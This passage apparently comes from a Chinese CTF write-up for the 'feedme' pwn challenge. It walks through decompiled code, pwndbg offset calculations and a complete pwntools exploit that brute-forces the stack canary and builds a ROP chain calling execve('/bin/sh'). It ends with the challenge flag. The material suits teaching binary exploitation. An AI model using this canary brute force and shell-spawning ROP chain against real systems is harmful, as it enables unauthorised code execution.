  for ( i = 0; i <= 0x31F; ++i )
11
  {
12
    v3 = sub_806CC70();
13
    if ( !v3 )
14
    {
15
      v0 = sub_8049036();
16
      sub_804F700("YUM, got %d bytes!\n", v0);
17
      return;
18
    }
19
    v4 = sub_806CBE0(v3, &v1, 0);
20
    if ( v4 == -1 )
21
    {
22
      sub_804FC60("Wait error!");
23
      sub_804ED20(-1);
24
    }
25
    if ( v1 == -1 )
26
    {
27
      sub_804FC60("Child IO error!");
28
      sub_804ED20(-1);
29
    }
30
    sub_804FC60("Child exit.");
31
    sub_804FA20(0);
32
  }
33
}

1
int sub_8049036()
2
{
3
  const char *v0; // eax
4
  int result; // eax
5
  unsigned __int8 v2; // [esp+1Bh] [ebp-2Dh]
6
  char v3[32]; // [esp+1Ch] [ebp-2Ch] BYREF
7
  unsigned int v4; // [esp+3Ch] [ebp-Ch]
8

9
  v4 = __readgsdword(0x14u);
10
  sub_804FC60("FEED ME!");
11
  v2 = sub_8048E42();
12
  sub_8048E7E(v3, v2);
13
  v0 = (const char *)sub_8048F6E(v3, v2, 16);
14
  sub_804F700("ATE %s\n", v0);
15
  result = v2;
16
  if ( __readgsdword(0x14u) != v4 )
17
    sub_806F5B0();
18
  return result;
19
}

分别在 sub_804FC60、sub_8048E42、sub_8048E7E、sub_8048F6E 和 sub_804F700 的调用处下断点，然后根据动态调试我们知道 sub_804FC60 就是输出了 FEED ME! 和 \n；sub_8048E42 就是获取了我们输入的第一个字节，转换成 ASCII 保存在 AL 中；sub_8048E7E 就是根据上一个函数得到的 ASCII 值作为限定大小，让我们输入内容，内容保存到一个指针；sub_8048F6E 就是将我们的输入的前 16 个字符转换为 ASCII 值并保存到 EAX 指向的地址；sub_804F700 输出了 EAX 中的内容。

具体调试过程太长就不贴出来了。

下面计算一下偏移：

1
pwndbg> b *0x08049069
2
Breakpoint 1 at 0x8049069
3
pwndbg> r
4
Starting program: /home/cub3y0nd/Projects/CTF/feedme
5

6
This GDB supports auto-downloading debuginfo from the following URLs:
7
  <https://debuginfod.archlinux.org>
8
Debuginfod has been disabled.
9
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
10
[Attaching after process 40072 fork to child process 40075]
11
[New inferior 2 (process 40075)]
12
[Detaching after fork from parent process 40072]
13
[Inferior 1 (process 40072) detached]
14
FEED ME!
15
0
16
[Switching to process 40075]
17

18
Thread 2.1 "feedme" hit Breakpoint 1, 0x08049069 in ?? ()
19
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
20
──────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────
21
*EAX  0xffffd58c ◂— 0x0
22
*EBX  0x80481a8 ◂— push ebx
23
*ECX  0xffffd55b ◂— 0x130
24
*EDX  0x1
25
*EDI  0x80ea00c —▸ 0x8066130 ◂— mov edx, dword ptr [esp + 4]
26
 ESI  0x0
27
*EBP  0xffffd5b8 —▸ 0xffffd5e8 —▸ 0xffffd608 —▸ 0x8049970 ◂— push ebx
28
*ESP  0xffffd570 —▸ 0xffffd58c ◂— 0x0
29
*EIP  0x8049069 —▸ 0xfffe10e8 ◂— 0x0
30
────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────
31
 ► 0x8049069    call   8048e7eh                      <0x8048e7e>
32

33
   0x804906e    movzx  eax, byte ptr [ebp - 2dh]
34
   0x8049072    mov    dword ptr [esp + 8], 10h
35
   0x804907a    mov    dword ptr [esp + 4], eax
36
   0x804907e    lea    eax, [ebp - 2ch]
37
   0x8049081    mov    dword ptr [esp], eax
38
   0x8049084    call   8048f6eh                      <0x8048f6e>
39

40
   0x8049089    mov    dword ptr [esp + 4], eax
41
   0x804908d    mov    dword ptr [esp], 80be715h
42
   0x8049094    call   804f700h                      <0x804f700>
43

44
   0x8049099    movzx  eax, byte ptr [ebp - 2dh]
45
────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────
46
00:0000│ esp 0xffffd570 —▸ 0xffffd58c ◂— 0x0
47
01:0004│-044 0xffffd574 ◂— 0x30 /* '0' */
48
02:0008│-040 0xffffd578 ◂— 0x0
49
03:000c│-03c 0xffffd57c —▸ 0x806ccb7 ◂— sub esp, 20h
50
04:0010│-038 0xffffd580 —▸ 0x80ea200 ◂— 0xfbad2887
51
05:0014│-034 0xffffd584 —▸ 0x80ea247 ◂— 0xeb4d40a
52
06:0018│-030 0xffffd588 ◂— 0x300ea248
53
07:001c│ eax 0xffffd58c ◂— 0x0
54
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────
55
 ► 0 0x8049069
56
   1 0x80490dc
57
   2 0x80491da
58
   3 0x80493ba
59
   4 0x8048d2b
60
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
61
pwndbg>
62
pwndbg> x/30wx 0xffffd58c
63
0xffffd58c: 0x00000000 0x00002710 0x00000000 0x00000000
64
0xffffd59c: 0x00000000 0x080ea0a0 0x00000000 0x00000000
65
0xffffd5ac: 0x39e3a000 0x00000000 0x080ea00c 0xffffd5e8
66
0xffffd5bc: 0x080490dc 0x080ea0a0 0x00000000 0x080ed840
67
0xffffd5cc: 0x0804f8b4 0x00000000 0x00000000 0x00000000
68
0xffffd5dc: 0x080481a8 0x080481a8 0x00000000 0xffffd608
69
0xffffd5ec: 0x080491da 0x080ea0a0 0x00000000 0x00000002
70
0xffffd5fc: 0x00000000 0x00000000
71
pwndbg> i f
72
Stack level 0, frame at 0xffffd5c0:
73
 eip = 0x8049069; saved eip = 0x80490dc
74
 called by frame at 0xffffd5f0
75
 Arglist at 0xffffd5b8, args:
76
 Locals at 0xffffd5b8, Previous frame's sp is 0xffffd5c0
77
 Saved registers:
78
  ebp at 0xffffd5b8, eip at 0xffffd5bc
79
pwndbg> distance 0xffffd58c 0xffffd5bc
80
0xffffd58c->0xffffd5bc is 0x30 bytes (0xc words)
81
pwndbg> distance 0xffffd5ac 0xffffd58c
82
0xffffd5ac->0xffffd58c is -0x20 bytes (-0x8 words)

输入位于 0xffffd58c、canary 位于 0xffffd5ac、返回地址位于 0xffffd5bc。返回地址偏移量为 0x30 字节，canary 偏移量为 0x20 字节。

Exploit

1
#!/usr/bin/python3
2

3
from pwn import *
4

5
context(
6
    os='linux',
7
    arch='i386',
8
    log_level='debug',
9
    terminal='kitty',
10
    binary=ELF('./feedme')
11
)
12

13
target = process()
14

15
recvline      = lambda : target.recvline()
16
recvuntil     = lambda str : target.recvuntil(str)
17
send          = lambda str : target.send(str)
18
sendline      = lambda str : target.sendline(str)
19
sendlineafter = lambda str1, str2 : target.sendlineafter(str1.encode(), str2.encode())
20
interactive   = lambda : target.interactive()
21

22
padding = b'A' * 0x20
23

24
def bruteforce_canary():
25
    canary = b'\x00'
26
    recvuntil('FEED ME!\n')
27
    while len(canary) != 0x4:
28
        for brute in range(0xff):
29
            input_size = bytes([0x20 + len(canary) + 0x1])
30
            attempt = bytes([brute])
31
            send(input_size + padding + canary + attempt)
32
            data = recvuntil(b'FEED ME!\n')
33

34
            if b'YUM' in data:
35
                canary += attempt
36
                break
37
    return canary
38

39
canary = bruteforce_canary()
40

41
rop = ROP(context.binary)
42

43
MOV_DWORD_PTR_EAX_EDX = p32(0x0807be31)
44
POP_ECX_EBX = rop.find_gadget(['pop ecx', 'pop ebx', 'ret'])[0]
45
POP_EDX = rop.find_gadget(['pop edx', 'ret'])[0]
46
POP_EAX = rop.find_gadget(['pop eax', 'ret'])[0]
47
INT_0x80 = rop.find_gadget(['int 0x80'])[0]
48

49
# /bin
50
rop.raw(POP_EAX)
51
rop.raw(0x80e9000)
52
rop.raw(POP_EDX)
53
rop.raw(0x6e69622f)
54
rop.raw(MOV_DWORD_PTR_EAX_EDX)
55
# /sh
56
rop.raw(POP_EAX)
57
rop.raw(0x80e9000 + 0x4)
58
rop.raw(POP_EDX)
59
rop.raw(0x68732f)
60
rop.raw(MOV_DWORD_PTR_EAX_EDX)
61
# arg 2 and 1
62
rop.raw(POP_ECX_EBX)
63
rop.raw(0x0)
64
rop.raw(0x80e9000)
65
# arg 3
66
rop.raw(POP_EDX)
67
rop.raw(0x0)
68
# int 0x80
69
rop.raw(POP_EAX)
70
rop.raw(0xb)
71
rop.raw(INT_0x80)
72

73
input_size = bytes([len(padding + canary + b'A' * 12 + rop.chain())])
74

75
send(input_size + padding + canary + b'A' * 12 + rop.chain())
76
interactive()

Flag

Flag: It's too bad! we c0uldn't??! d0 the R0P CHAIN BLIND TOO